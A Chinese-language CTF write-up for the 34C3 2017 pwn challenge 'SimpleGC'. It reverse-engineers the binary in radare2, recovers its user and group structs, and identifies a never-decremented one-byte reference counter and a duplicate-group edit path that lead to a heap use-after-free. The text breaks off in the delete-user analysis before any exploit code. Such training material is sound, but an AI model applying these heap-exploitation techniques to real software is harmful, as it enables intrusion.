CTF-All-In-One/doc/6.1.15_pwn_34c3ctf2017_simplegc.md
firmianay d19b1ff24b fix
2018-05-01 21:57:53 +08:00

994 lines
51 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6.1.15 pwn 34C3CTF2017 SimpleGC
- [题目复现](#题目复现)
- [题目解析](#题目解析)
- [漏洞利用](#漏洞利用)
- [参考资料](#参考资料)
[下载文件](../src/writeup/6.1.15_pwn_34c3ctf2017_simplegc)
## 题目复现
```
$ file sgc
sgc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f7ef90bc896e72ba0c3191a2ce6acb732bf3b172, stripped
$ checksec -f sgc
RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 sgc
$ strings libc-2.26.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2) stable release version 2.26, by Roland McGrath et al.
Compiled by GNU CC version 6.4.0 20171010.
```
一看 libc-2.26,请参考章节 4.14tcache 了解一下。然后程序开启了 Canary 和 NX。
```
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1 # 假设两个 user 的 group 相同
Enter group name: A
User:
Name: a
Group: A
Age: 1
User:
Name: b
Group: A
Age: 1
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 3 # 修改 group输入 y
Enter index: 0
Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): y
Enter new group name: B
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1 # 两个 user 的 group 都被修改
Enter group name: B
User:
Name: a
Group: B
Age: 1
User:
Name: b
Group: B
Age: 1
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 3 # 修改 group输入 n
Enter index: 0
Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): n
Enter new group name: A
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1 # 仅当前 user 的 group 被修改
Enter group name: A
User:
Name: a
Group: A
Age: 1
0: Add a user
1: Display a group
2: Display a user
3: Edit a group
4: Delete a user
5: Exit
Action: 1
Enter group name: B
User:
Name: b
Group: B
Age: 1
```
玩一下,程序似乎有两个结构分别放置 user 和 group。而且 Edit 功能很有趣,根据选择 y 还是 n 有不同的操作,应该重点看看。
## 题目解析
#### GC
main 函数开始会启动一个新的线程,用于垃圾回收,然后才让我们输入菜单的选项。刚开始 r2 并不能识别这个线程函数,用命令 `af` 给它重新分析一下。函数如下:
```
[0x00400a60]> af @ 0x0040127e
[0x00400a60]> pdf @ fcn.0040127e
/ (fcn) fcn.0040127e 157
| fcn.0040127e (int arg_5fh);
| ; var int local_18h @ rbp-0x18
| ; var int local_8h @ rbp-0x8
| ; var int local_4h @ rbp-0x4
| ; arg int arg_5fh @ rbp+0x5f
| ; CALL XREF from 0x0040127e (fcn.0040127e)
| ; DATA XREF from 0x004014af (main)
| 0x0040127e push rbp
| 0x0040127f mov rbp, rsp
| 0x00401282 sub rsp, 0x20
| 0x00401286 mov qword [local_18h], rdi
| 0x0040128a mov edi, 1
| 0x0040128f call sym.imp.sleep ; int sleep(int s)
| 0x00401294 mov dword [local_4h], 0
| ; JMP XREF from 0x00401319 (fcn.0040127e)
| .-> 0x0040129b mov dword [local_8h], 0 ; [local_8h] 为循环计数 i初始化为 0
| ,==< 0x004012a2 jmp 0x401309
| |: ; JMP XREF from 0x0040130d (fcn.0040127e)
| .---> 0x004012a4 mov eax, dword [local_8h]
| :|: 0x004012a7 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i]
| :|: 0x004012af test rax, rax
| ,====< 0x004012b2 je 0x401301 ; groups[i] 为 0 时进行下一次循环
| |:|: 0x004012b4 mov eax, dword [local_8h]
| |:|: 0x004012b7 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
| |:|: 0x004012bf movzx eax, byte [rax + 8] ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
| |:|: 0x004012c3 test al, al
| ,=====< 0x004012c5 jne 0x401304 ; ref_count 不等于 0 时进行下一次循环
| ||:|: 0x004012c7 mov eax, dword [local_8h]
| ||:|: 0x004012ca mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
| ||:|: 0x004012d2 mov rax, qword [rax] ; 取出 groups[i]->group_name
| ||:|: 0x004012d5 mov rdi, rax
| ||:|: 0x004012d8 call sym.imp.free ; void free(void *ptr) ; 释放掉 group_name
| ||:|: 0x004012dd mov eax, dword [local_8h]
| ||:|: 0x004012e0 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i]
| ||:|: 0x004012e8 mov rdi, rax
| ||:|: 0x004012eb call sym.imp.free ; void free(void *ptr) ; 释放掉 groups[i]
| ||:|: 0x004012f0 mov eax, dword [local_8h]
| ||:|: 0x004012f3 mov qword [rax*8 + 0x6023e0], 0 ; [0x6023e0:8]=0 ; 将 groups[i] 置 0
| ,======< 0x004012ff jmp 0x401305
| |||:|: ; JMP XREF from 0x004012b2 (fcn.0040127e)
| ||`----> 0x00401301 nop
| ||,====< 0x00401302 jmp 0x401305
| |||:|: ; JMP XREF from 0x004012c5 (fcn.0040127e)
| |`-----> 0x00401304 nop
| | |:|: ; JMP XREF from 0x00401302 (fcn.0040127e)
| | |:|: ; JMP XREF from 0x004012ff (fcn.0040127e)
| `-`----> 0x00401305 add dword [local_8h], 1 ; 计数 + 1
| :|: ; JMP XREF from 0x004012a2 (fcn.0040127e)
| :`--> 0x00401309 cmp dword [local_8h], 0x5f ; [0x5f:4]=-1 ; '_' ; 95
| `===< 0x0040130d jbe 0x4012a4 ; 循环继续
| : 0x0040130f mov edi, 0
| : 0x00401314 call sym.imp.sleep ; int sleep(int s)
\ `=< 0x00401319 jmp 0x40129b
```
从这段代码中我们看出一个结构体 group
```c
struct group {
char *group_name; // group 名
uint8_t ref_count; // 引用计数
} group;
struct group *groups[0x60];
```
然后是 0x60 个 group 类型指针构成的数组 groups其起始地址为 `0x6023e0`。仔细看的话可以发现,这段代码在取 ref_count 值的时候,只取出了一个字节。所以 ref_count 的类型可以推断地更精细一点,为 `uint8_t`
该垃圾回收函数会遍历 groups当 groups[i]->count 为 0 时,表示该 group 没有 user 在使用,于是对 groups[i]->group_name 和 groups[i] 分别进行 free 操作,最后把 groups[i] 设置为 0。
最后需要注意的是垃圾回收的周期,在写 exp 的时候要考虑。
#### add a user
```
[0x00400a60]> pdf @ sub.memset_d58
/ (fcn) sub.memset_d58 598
| sub.memset_d58 ();
| ; var int local_162h @ rbp-0x162
| ; var int local_160h @ rbp-0x160
| ; var int local_15ch @ rbp-0x15c
| ; var int local_158h @ rbp-0x158
| ; var int local_150h @ rbp-0x150
| ; var int local_140h @ rbp-0x140
| ; var int local_120h @ rbp-0x120
| ; var int local_18h @ rbp-0x18
| ; CALL XREF from 0x0040153d (main)
| 0x00400d58 push rbp
| 0x00400d59 mov rbp, rsp
| 0x00400d5c push rbx
| 0x00400d5d sub rsp, 0x168
| 0x00400d64 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x00400d6d mov qword [local_18h], rax
| 0x00400d71 xor eax, eax
| 0x00400d73 lea rax, [local_120h]
| 0x00400d7a mov edx, 0x100 ; 256
| 0x00400d7f mov esi, 0
| 0x00400d84 mov rdi, rax
| 0x00400d87 call sym.imp.memset ; memset(local_120h, 0, 0x100),用于存放 name
| 0x00400d8c lea rax, [local_150h]
| 0x00400d93 mov edx, 8
| 0x00400d98 mov esi, 0
| 0x00400d9d mov rdi, rax
| 0x00400da0 call sym.imp.memset ; memset(local_150h, 0, 8),用于存放 age
| 0x00400da5 lea rax, [local_140h]
| 0x00400dac mov edx, 0x18 ; 24
| 0x00400db1 mov esi, 0
| 0x00400db6 mov rdi, rax
| 0x00400db9 call sym.imp.memset ; memset(local_140h, 0, 0x18),用于存放 group
| 0x00400dbe mov edi, str.Please_enter_the_user_s_name: ; 0x401638 ; "Please enter the user's name: "
| 0x00400dc3 mov eax, 0
| 0x00400dc8 call sym.imp.printf ; int printf(const char *format)
| 0x00400dcd lea rax, [local_120h]
| 0x00400dd4 mov esi, 0xc0 ; 192
| 0x00400dd9 mov rdi, rax
| 0x00400ddc call sub.read_b56 ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00400de1 mov edi, str.Please_enter_the_user_s_group: ; 0x401658 ; "Please enter the user's group: "
| 0x00400de6 mov eax, 0
| 0x00400deb call sym.imp.printf ; int printf(const char *format)
| 0x00400df0 lea rax, [local_140h]
| 0x00400df7 mov esi, 0x18 ; 24
| 0x00400dfc mov rdi, rax
| 0x00400dff call sub.read_b56 ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00400e04 mov edi, str.Please_enter_your_age: ; 0x401678 ; "Please enter your age: "
| 0x00400e09 mov eax, 0
| 0x00400e0e call sym.imp.printf ; int printf(const char *format)
| 0x00400e13 lea rax, [local_150h]
| 0x00400e1a mov esi, 4
| 0x00400e1f mov rdi, rax
| 0x00400e22 call sub.read_b56 ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00400e27 lea rax, [local_150h]
| 0x00400e2e mov rdi, rax
| 0x00400e31 call sym.imp.atoi ; int atoi(const char *str)
| 0x00400e36 mov dword [local_160h], eax
| 0x00400e3c lea rax, [local_140h]
| 0x00400e43 mov rdi, rax ; 将 group 作为参数
| 0x00400e46 call sub.strcmp_be0 ; 调用函数 sub.strcmp_be0() 检查对应的 group 是否存在
| 0x00400e4b mov qword [local_158h], rax 如果存在,返回值为这个 group否则为 0
| 0x00400e52 cmp qword [local_158h], 0
| ,=< 0x00400e5a jne 0x400e72 ; 如果返回值不等于 0跳转
| | 0x00400e5c lea rax, [local_140h]
| | 0x00400e63 mov rdi, rax
| | 0x00400e66 call fcn.00400cdd ; 否则调用函数 fcn.00400cdd() 创建一个 group
| | 0x00400e6b mov qword [local_158h], rax ; 返回值为新建的 group
| | ; JMP XREF from 0x00400e5a (sub.memset_d58)
| `-> 0x00400e72 mov word [local_162h], 0 ; 循环计算 i赋值为 0
| ,=< 0x00400e7b jmp 0x400e9b
| | ; JMP XREF from 0x00400ea3 (sub.memset_d58)
| .--> 0x00400e7d movzx eax, word [local_162h]
| :| 0x00400e84 cdqe
| :| 0x00400e86 mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
| :| 0x00400e8e test rax, rax
| ,===< 0x00400e91 je 0x400ea7 ; 如果 users[i] 为 0跳出循环即找到第一个空的 user
| |:| 0x00400e93 add word [local_162h], 1 ; 否则循环计算 + 1
| |:| ; JMP XREF from 0x00400e7b (sub.memset_d58)
| |:`-> 0x00400e9b cmp word [local_162h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
| |`==< 0x00400ea3 jbe 0x400e7d ; 继续循环
| | ,=< 0x00400ea5 jmp 0x400ea8
| | | ; JMP XREF from 0x00400e91 (sub.memset_d58)
| `---> 0x00400ea7 nop
| | ; JMP XREF from 0x00400ea5 (sub.memset_d58)
| `-> 0x00400ea8 cmp word [local_162h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
| ,=< 0x00400eb0 jbe 0x400ec6
| | 0x00400eb2 mov edi, str.User_database_full ; 0x401690 ; "User database full"
| | 0x00400eb7 call sym.imp.puts ; int puts(const char *s)
| | 0x00400ebc mov edi, 1
| | 0x00400ec1 call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x00400eb0 (sub.memset_d58)
| `-> 0x00400ec6 movzx ebx, word [local_162h]
| 0x00400ecd mov edi, 0x18 ; 24
| 0x00400ed2 call sym.imp.malloc ; malloc(0x18) 创建一个 user 结构体
| 0x00400ed7 mov rdx, rax ; 返回值为 user 的地址
| 0x00400eda movsxd rax, ebx
| 0x00400edd mov qword [rax*8 + 0x6020e0], rdx ; [0x6020e0:8]=0 将 user 放入 users作为 users[i]
| 0x00400ee5 movzx eax, word [local_162h]
| 0x00400eec cdqe
| 0x00400eee mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
| 0x00400ef6 mov rdx, qword [local_158h]
| 0x00400efd mov rdx, qword [rdx] ; 取出 groups[k]->group_name
| 0x00400f00 mov qword [rax + 0x10], rdx ; 将 users[i]->group 赋值为 groups[k]->group_name
| 0x00400f04 movzx eax, word [local_162h]
| 0x00400f0b cdqe
| 0x00400f0d mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0
| 0x00400f15 mov edx, dword [local_160h]
| 0x00400f1b mov byte [rax], dl
| 0x00400f1d lea rax, [local_120h] ; 取出输入的 name
| 0x00400f24 mov rdi, rax
| 0x00400f27 call sym.imp.strlen ; size_t strlen(const char *s) ; 获得 name 的长度
| 0x00400f2c add eax, 1 ; 长度 + 1
| 0x00400f2f mov dword [local_15ch], eax
| 0x00400f35 movzx eax, word [local_162h]
| 0x00400f3c cdqe
| 0x00400f3e mov rbx, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
| 0x00400f46 mov eax, dword [local_15ch]
| 0x00400f4c mov rdi, rax
| 0x00400f4f call sym.imp.malloc ; void *malloc(size_t size) ; 为 name 分配空间
| 0x00400f54 mov qword [rbx + 8], rax ; 将返回地址放入 users[i]->name
| 0x00400f58 mov edx, dword [local_15ch]
| 0x00400f5e movzx eax, word [local_162h]
| 0x00400f65 cdqe
| 0x00400f67 mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0
| 0x00400f6f mov rax, qword [rax + 8] ; [0x8:8]=-1 ; 8 ; 取出 users[i]->name
| 0x00400f73 lea rcx, [local_120h] ; 取出输入的 name
| 0x00400f7a mov rsi, rcx
| 0x00400f7d mov rdi, rax
| 0x00400f80 call sym.imp.memcpy ; void *memcpy(void *s1, const void *s2, size_t n) ; 把输入的 name 复制到 users[i]->name 的地方
| 0x00400f85 mov edi, str.User_created ; 0x4016a3 ; "User created"
| 0x00400f8a call sym.imp.puts ; int puts(const char *s)
| 0x00400f8f nop
| 0x00400f90 mov rax, qword [local_18h]
| 0x00400f94 xor rax, qword fs:[0x28]
| ,=< 0x00400f9d je 0x400fa4
| | 0x00400f9f call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00400f9d (sub.memset_d58)
| `-> 0x00400fa4 add rsp, 0x168
| 0x00400fab pop rbx
| 0x00400fac pop rbp
\ 0x00400fad ret
```
从这个函数中能看出第二个结构体 user
```c
struct user {
uint8_t age;
char *name;
char *group;
} user;
struct user *users[0x60];
```
同样的0x60 个 user 类型指针构成了数组 users其起始地址为 `0x6020e0`
我们看到输入的 group 作为参数调用了 sub.strcmp_be0()
```
[0x00400a60]> pdf @ sub.strcmp_be0
/ (fcn) sub.strcmp_be0 161
| sub.strcmp_be0 (int arg_5fh);
| ; var int local_18h @ rbp-0x18
| ; var int local_2h @ rbp-0x2
| ; arg int arg_5fh @ rbp+0x5f
| ; CALL XREF from 0x004013e2 (sub.Enter_index:_31b)
| ; CALL XREF from 0x00400e46 (sub.memset_d58)
| 0x00400be0 push rbp
| 0x00400be1 mov rbp, rsp
| 0x00400be4 sub rsp, 0x20
| 0x00400be8 mov qword [local_18h], rdi ; 将 group 传给 [local_18h]
| 0x00400bec mov word [local_2h], 0 ; 循环计数 i初始化为 0
| ,=< 0x00400bf2 jmp 0x400c6f
| | ; JMP XREF from 0x00400c74 (sub.strcmp_be0)
| .--> 0x00400bf4 movzx eax, word [local_2h]
| :| 0x00400bf8 cdqe
| :| 0x00400bfa mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i]
| :| 0x00400c02 test rax, rax
| ,===< 0x00400c05 je 0x400c69 ; groups[i] 为 0 时进行下一次循环
| |:| 0x00400c07 movzx eax, word [local_2h]
| |:| 0x00400c0b cdqe
| |:| 0x00400c0d mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
| |:| 0x00400c15 mov rdx, qword [rax] ; 取出 groups[i]->group_name
| |:| 0x00400c18 mov rax, qword [local_18h] ; 取出 group
| |:| 0x00400c1c mov rsi, rdx
| |:| 0x00400c1f mov rdi, rax
| |:| 0x00400c22 call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
| |:| 0x00400c27 test eax, eax ; 对比 groups[i]->group_name 和 group 是否相同
| ,====< 0x00400c29 jne 0x400c6a ; 如果不同,进行下一次循环
| ||:| 0x00400c2b movzx eax, word [local_2h] ; 否则继续
| ||:| 0x00400c2f cdqe
| ||:| 0x00400c31 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
| ||:| 0x00400c39 movzx eax, byte [rax + 8] ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
| ||:| 0x00400c3d test al, al
| ,=====< 0x00400c3f je 0x400c6a ; 如果 ref_count 为 0进行下一次循环
| |||:| 0x00400c41 movzx eax, word [local_2h] ; 否则继续
| |||:| 0x00400c45 cdqe
| |||:| 0x00400c47 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0
| |||:| 0x00400c4f movzx edx, byte [rax + 8] ; [0x8:1]=255 ; 8 ; 取出 groups[i]->ref_count
| |||:| 0x00400c53 add edx, 1 ; 将 groups[i]->ref_count 加 1
| |||:| 0x00400c56 mov byte [rax + 8], dl ; 将低字节放回 ref_count
| |||:| 0x00400c59 movzx eax, word [local_2h]
| |||:| 0x00400c5d cdqe
| |||:| 0x00400c5f mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i] 作为返回值
| ,======< 0x00400c67 jmp 0x400c7f
| |||`---> 0x00400c69 nop
| ||| :| ; JMP XREF from 0x00400c29 (sub.strcmp_be0)
| ||| :| ; JMP XREF from 0x00400c3f (sub.strcmp_be0)
| |``----> 0x00400c6a add word [local_2h], 1 ; 循环计数 + 1
| | :| ; JMP XREF from 0x00400bf2 (sub.strcmp_be0)
| | :`-> 0x00400c6f cmp word [local_2h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
| | `==< 0x00400c74 jbe 0x400bf4 ; 继续循环
| | 0x00400c7a mov eax, 0 ; 将 eax 赋值为 0 作为返回值
| | ; JMP XREF from 0x00400c67 (sub.strcmp_be0)
| `------> 0x00400c7f leave
\ 0x00400c80 ret
```
所以这个函数的作用是检查 groups 中是否已经存在同名的 group如果是那么将该 group 的 ref_count 加 1并返回这个 group。否则返回 0。
当返回值为 0 的时候,会调用函数 fcn.00400cdd(),参数为 group
```
[0x00400a60]> pdf @ fcn.00400cdd
/ (fcn) fcn.00400cdd 123
| fcn.00400cdd (int arg_5fh);
| ; var int local_28h @ rbp-0x28
| ; var int local_12h @ rbp-0x12
| ; arg int arg_5fh @ rbp+0x5f
| ; CALL XREF from 0x004013f9 (sub.Enter_index:_31b)
| ; CALL XREF from 0x00400e66 (sub.memset_d58)
| 0x00400cdd push rbp
| 0x00400cde mov rbp, rsp
| 0x00400ce1 push rbx
| 0x00400ce2 sub rsp, 0x28 ; '('
| 0x00400ce6 mov qword [local_28h], rdi ; 将字符串 group 传给 [local_28h]
| 0x00400cea mov word [local_12h], 0 ; 循环计数 i初始化为 0
| ,=< 0x00400cf0 jmp 0x400d0a
| | ; JMP XREF from 0x00400d0f (fcn.00400cdd)
| .--> 0x00400cf2 movzx eax, word [local_12h]
| :| 0x00400cf6 cdqe
| :| 0x00400cf8 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 取出 groups[i]
| :| 0x00400d00 test rax, rax
| ,===< 0x00400d03 je 0x400d13 ; 如果 groups[i] 为 0 时,跳出循环,即找到一个空的 group
| |:| 0x00400d05 add word [local_12h], 1 ; 循环计数 + 1
| |:| ; JMP XREF from 0x00400cf0 (fcn.00400cdd)
| |:`-> 0x00400d0a cmp word [local_12h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
| |`==< 0x00400d0f jbe 0x400cf2 ; 继续循环
| | ,=< 0x00400d11 jmp 0x400d14
| | | ; JMP XREF from 0x00400d03 (fcn.00400cdd)
| `---> 0x00400d13 nop
| | ; JMP XREF from 0x00400d11 (fcn.00400cdd)
| `-> 0x00400d14 cmp word [local_12h], 0x5f ; [0x5f:2]=0xffff ; '_' ; 95
| ,=< 0x00400d19 jbe 0x400d25
| | 0x00400d1b mov edi, 1
| | 0x00400d20 call sym.imp.exit ; void exit(int status)
| | ; JMP XREF from 0x00400d19 (fcn.00400cdd)
| `-> 0x00400d25 movzx ebx, word [local_12h]
| 0x00400d29 mov rax, qword [local_28h]
| 0x00400d2d mov rdi, rax ; 字符串 group 作为参数
| 0x00400d30 call sub.malloc_c81 ; sub.malloc_c81 函数创建一个 group 结构体,并将其返回
| 0x00400d35 mov rdx, rax
| 0x00400d38 movsxd rax, ebx
| 0x00400d3b mov qword [rax*8 + 0x6023e0], rdx ; [0x6023e0:8]=0 ; 将返回的 group 结构体放进 groups作为 groups[i]
| 0x00400d43 movzx eax, word [local_12h]
| 0x00400d47 cdqe
| 0x00400d49 mov rax, qword [rax*8 + 0x6023e0] ; [0x6023e0:8]=0 ; 返回 groups[i]
| 0x00400d51 add rsp, 0x28 ; '('
| 0x00400d55 pop rbx
| 0x00400d56 pop rbp
\ 0x00400d57 ret
```
该函数在第一个 groups[i] 为 0 的地方创建一个新的 group将其放入 groups并返回这个 groups[i]。
总的来说,当添加一个 user 时,首先检查输入的 group 是否存在,如果存在,那么将这个 group->ref_count 加 1设置 user->group 指向这个 group->group_name否则新建一个 group并将新 group->ref_count 设置为 1同样设置 user->group 指向它。
#### display
其中 display-a-user 用于打印出指定 index 的 user即 users[i]。display-a-group 遍历 users并打印出指定 group 与 users[i]->group 相同的 users[i]。根据经验,这个功能就是为了泄漏 heap 和 libc 地址的。
#### edit a group
我们比较感兴趣的修改 group 操作:
```
[0x00400a60]> pdf @ sub.Enter_index:_31b
/ (fcn) sub.Enter_index:_31b 302
| sub.Enter_index:_31b ();
| ; var int local_54h @ rbp-0x54
| ; var int local_50h @ rbp-0x50
| ; var int local_48h @ rbp-0x48
| ; var int local_40h @ rbp-0x40
| ; var int local_30h @ rbp-0x30
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x00401573 (main)
| 0x0040131b push rbp
| 0x0040131c mov rbp, rsp
| 0x0040131f sub rsp, 0x60 ; '`'
| 0x00401323 mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x0040132c mov qword [local_8h], rax
| 0x00401330 xor eax, eax
| 0x00401332 mov edi, str.Enter_index: ; 0x4016d5 ; "Enter index: "
| 0x00401337 mov eax, 0
| 0x0040133c call sym.imp.printf ; int printf(const char *format)
| 0x00401341 lea rax, [local_40h]
| 0x00401345 mov esi, 4
| 0x0040134a mov rdi, rax
| 0x0040134d call sub.read_b56 ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x00401352 lea rax, [local_40h]
| 0x00401356 mov rdi, rax
| 0x00401359 call sym.imp.atoi ; int atoi(const char *str)
| 0x0040135e mov dword [local_54h], eax
| 0x00401361 mov eax, dword [local_54h] ; eax 为索引 i
| 0x00401364 mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
| 0x0040136c test rax, rax
| ,=< 0x0040136f je 0x401432 ; 如果 users[i] 不存在,函数结束
| | 0x00401375 mov edi, str.Would_you_like_to_propagate_the_change__this_will_update_the_group_of_all_the_users_sharing_this_group_y_n_: ; 0x401718 ; "Would you like to propagate the change, this will update the group of all the users sharing this group(y/n): "
| | 0x0040137a mov eax, 0
| | 0x0040137f call sym.imp.printf ; int printf(const char *format)
| | 0x00401384 lea rax, [local_40h]
| | 0x00401388 mov esi, 2
| | 0x0040138d mov rdi, rax
| | 0x00401390 call sub.read_b56 ; 读取字符 "y" 或者 "n"
| | 0x00401395 mov edi, str.Enter_new_group_name: ; 0x401786 ; "Enter new group name: "
| | 0x0040139a mov eax, 0
| | 0x0040139f call sym.imp.printf ; int printf(const char *format)
| | 0x004013a4 movzx eax, byte [local_40h]
| | 0x004013a8 cmp al, 0x79 ; 'y' ; 121
| ,==< 0x004013aa jne 0x4013ca
| || 0x004013ac mov eax, dword [local_54h] ; 当输入 "y" 时
| || 0x004013af mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0
| || 0x004013b7 mov rax, qword [rax + 0x10] ; [0x10:8]=-1 ; 16 ; 取出 users[i]->group
| || 0x004013bb mov esi, 0x18 ; 24
| || 0x004013c0 mov rdi, rax
| || 0x004013c3 call sub.read_b56 ; 将 group 逐字节写入 users[i]->group函数结束
| ,===< 0x004013c8 jmp 0x401433
| ||| ; JMP XREF from 0x004013aa (sub.Enter_index:_31b)
| |`--> 0x004013ca lea rax, [local_30h] ; 当输入 "n" 时
| | | 0x004013ce mov esi, 0x18 ; 24
| | | 0x004013d3 mov rdi, rax
| | | 0x004013d6 call sub.read_b56 ; 读入 group 到 local_30h
| | | 0x004013db lea rax, [local_30h]
| | | 0x004013df mov rdi, rax
| | | 0x004013e2 call sub.strcmp_be0 ; 如果 groups 中存在同名 group将该 group 的 ref_count 加 1并返回。否则返回 0
| | | 0x004013e7 mov qword [local_50h], rax
| | | 0x004013eb cmp qword [local_50h], 0
| |,==< 0x004013f0 jne 0x40141a
| ||| 0x004013f2 lea rax, [local_30h] ; 当返回值是 0 时
| ||| 0x004013f6 mov rdi, rax
| ||| 0x004013f9 call fcn.00400cdd ; 将 group 放入第一个 groups[k] 为 0 的地方,并返回这个 groups[k]
| ||| 0x004013fe mov qword [local_48h], rax
| ||| 0x00401402 mov eax, dword [local_54h]
| ||| 0x00401405 mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
| ||| 0x0040140d mov rdx, qword [local_48h]
| ||| 0x00401411 mov rdx, qword [rdx] ; 取出 groups[k]->group_name
| ||| 0x00401414 mov qword [rax + 0x10], rdx ; 将 users[i]->group 赋值为 groups[k]->group_name
| ,====< 0x00401418 jmp 0x401433
| |||| ; JMP XREF from 0x004013f0 (sub.Enter_index:_31b)
| ||`--> 0x0040141a mov eax, dword [local_54h] ; 当返回值不是 0 时
| || | 0x0040141d mov rax, qword [rax*8 + 0x6020e0] ; [0x6020e0:8]=0 ; 取出 users[i]
| || | 0x00401425 mov rdx, qword [local_50h]
| || | 0x00401429 mov rdx, qword [rdx] ; 取出 groups[k]->group_name
| || | 0x0040142c mov qword [rax + 0x10], rdx ; 将 users[i]->group 赋值为 groups[k]->group_name
| ||,==< 0x00401430 jmp 0x401433
| |||| ; JMP XREF from 0x0040136f (sub.Enter_index:_31b)
| |||`-> 0x00401432 nop
| ||| ; JMP XREF from 0x00401430 (sub.Enter_index:_31b)
| ||| ; JMP XREF from 0x00401418 (sub.Enter_index:_31b)
| ||| ; JMP XREF from 0x004013c8 (sub.Enter_index:_31b)
| ```--> 0x00401433 mov rax, qword [local_8h]
| 0x00401437 xor rax, qword fs:[0x28]
| ,=< 0x00401440 je 0x401447
| | 0x00401442 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| | ; JMP XREF from 0x00401440 (sub.Enter_index:_31b)
| `-> 0x00401447 leave
\ 0x00401448 ret
```
该函数有两种操作:
- 输入 "y" 时:修改 users[i]->group于是所有具有相同 group 的 user->group 都被修改了。这样的问题是会造成有两个同名 group 的存在。
- 输入 "n" 时:如果 group 已经存在,则将 group->ref_count 加 1并设置 users[i]->group 赋值为 group->group_name。否则新建一个 new_group将 group_ref_count 设置为 1同样将 users[i]->group 赋值为 new_group->group_name。这里同样存在问题当修改了一个 user 的 group 之后,原 group->ref_count 并没有减 1可能会造成溢出。
#### delete a user
最后是删除 user 的操作:
```
[0x00400a60]> pdf @ sub.Enter_index:_1c4
/ (fcn) sub.Enter_index:_1c4 186
| sub.Enter_index:_1c4 ();
| ; var int local_14h @ rbp-0x14
| ; var int local_10h @ rbp-0x10
| ; var int local_8h @ rbp-0x8
| ; CALL XREF from 0x00401585 (main)
| 0x004011c4 push rbp
| 0x004011c5 mov rbp, rsp
| 0x004011c8 sub rsp, 0x20
| 0x004011cc mov rax, qword fs:[0x28] ; [0x28:8]=-1 ; '(' ; 40
| 0x004011d5 mov qword [local_8h], rax
| 0x004011d9 xor eax, eax
| 0x004011db mov edi, str.Enter_index: ; 0x4016d5 ; "Enter index: "
| 0x004011e0 mov eax, 0
| 0x004011e5 call sym.imp.printf ; int printf(const char *format)
| 0x004011ea lea rax, [local_10h]
| 0x004011ee mov esi, 4
| 0x004011f3 mov rdi, rax
| 0x004011f6 call sub.read_b56 ; ssize_t read(int fildes, void *buf, size_t nbyte)
| 0x004011fb lea rax, [local_10h]
| 0x004011ff mov rdi, rax
| 0x00401202 call sym.imp.atoi ; int atoi(const char *str)
| 0x00401207 mov dword [local_14h], eax
| 0x0040120a cmp dword [local_14h], 0x5f ; [0x5f:4]=-1 ; '_' ; 95
| ,=< 0x0040120e jbe 0x40121c ; 检查索引 i 是否超出最大值
| | 0x00401210 mov edi, str.invalid_index ; 0x4016e3 ; "invalid index"
| | 0x00401215 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x0040121a jmp 0x401268
| || ; JMP XREF from 0x0040120e (sub.Enter_index:_1c4)
